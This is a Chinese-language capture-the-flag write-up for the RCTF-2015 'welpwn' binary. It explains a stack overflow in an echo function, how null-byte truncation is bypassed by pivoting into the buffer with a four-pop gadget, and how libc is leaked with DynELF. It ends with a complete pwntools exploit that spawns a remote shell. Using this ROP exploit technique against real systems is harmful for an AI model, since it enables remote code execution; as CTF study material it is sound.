欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

welpwn(RCTF-2015)--write up

程序员文章站 2022-07-15 15:38:25
...

文件下载地址:

链接:https://pan.baidu.com/s/1MG2z9r4wz_WTEz1vIikqJQ
提取码:3tbc 

0x01.分析

checksec:

welpwn(RCTF-2015)--write up

源码分析:

welpwn(RCTF-2015)--write up

welpwn(RCTF-2015)--write up

流程非常简单,首先输入一个1024大小字符串,然后进入函数echo,这个函数会将buf的数据一个字节一个字节的复制到s2中,当遇到x00时停止,退出,并打印s2。

寻找漏洞:

第一个read处没有漏洞,但是把buf作为参数传到了echo中之后,因为buf时1024,但是s2只有16,很明显发生了栈溢出。

利用漏洞攻击:

由于程序之开启了NX,所以可以先往rop上思考。

按照常规的思路,应该是用24个字节填充,然后根据64位程序的特点,构造一条rop链,通过DynELF泄露system的地址,然后再次利用,向bss段写入/bin/sh,最终get shell。

想想总是好的,但是在这里,发现不可行了,为什么呢?因为echo这个函数会阶段x00,而一般的地址末尾都会有x00,这样我们就不能写入多个地址,进行rop链的使用,那怎么办呢?

我们看一下echo这个函数的栈大小:

welpwn(RCTF-2015)--write up

只有0x20,也就是32个字节,s2用去了16,rbp用去8个,返回地址用于8个,刚好32个,由于参数放在寄存器里,所以echo的栈下面就是buf。

可以看一下栈布局(每格8个字节):

s2的八个字节
s2的八个字节
rbp
返回地址
buf的八个字节
buf的八个字节
......

echo函数可以使用复制一次链接,因为复制到链接末尾就会终止,所以我们要利用好这次机会, 那么怎样才能执行我们的rop链呢?

我们可以将rsp转入buf里面进行执行,这样就没有限制了,就可以正常执行我们的rop链了。

我们可以使用四次pop,将前面的32个字节清空,这样echo函数在复制完四次pop的地址后就结束循环,开始返回,跳转到四次pop的地址,然后清空32个字节,继续执行,就到了rop链了,具体情况可以看下面的栈布局:

A*8
A*8
A*8
pop四次
A*8
A*8
A*8
pop四次
rop链

这样就可以顺利执行rop链,达到目的了。

因为可以重复使用,所以我们可以用DynELF泄露system的地址。

0x02.exp

##!/usr/bin/env python2.7
from pwn import*

io=remote("111.198.29.45",38463)
#io=process('./welpwn')
elf=ELF('./welpwn')
#context.log_level  = 'debug'  

read_got=elf.got['read']
write_got=elf.got['write']
start_addr=0x400630
pop4_addr=0x40089c
rop1=0x40089A
rop2=0x400880
bss_addr=0x601070
pop_rdi=0x4008a3

def leak(address):
    io.recv(1024)
    payload='A'*24+p64(pop4_addr)+p64(rop1)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(address)+p64(1)
    payload+=p64(rop2)+'A'*56+p64(start_addr)
    payload=payload.ljust(1024,'A')
    io.send(payload)
    data=io.recv(8)
    print "%#x => %s" % (address,(data or '').encode('hex'))
    return data

d=DynELF(leak,elf=elf)
system_addr=d.lookup("system","libc")
print hex(system_addr)
print io.recv(1024)
payload='A'*24+p64(pop4_addr)+p64(rop1)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(bss_addr)+p64(0)
payload+=p64(rop2)+'A'*56+p64(pop_rdi)+p64(bss_addr)+p64(system_addr)+'A'*8
payload=payload.ljust(1024,'A')
io.send(payload)
io.send('/bin/sh')

io.interactive()

 welpwn(RCTF-2015)--write up

注:具体rop链的使用可以参考前面的博客。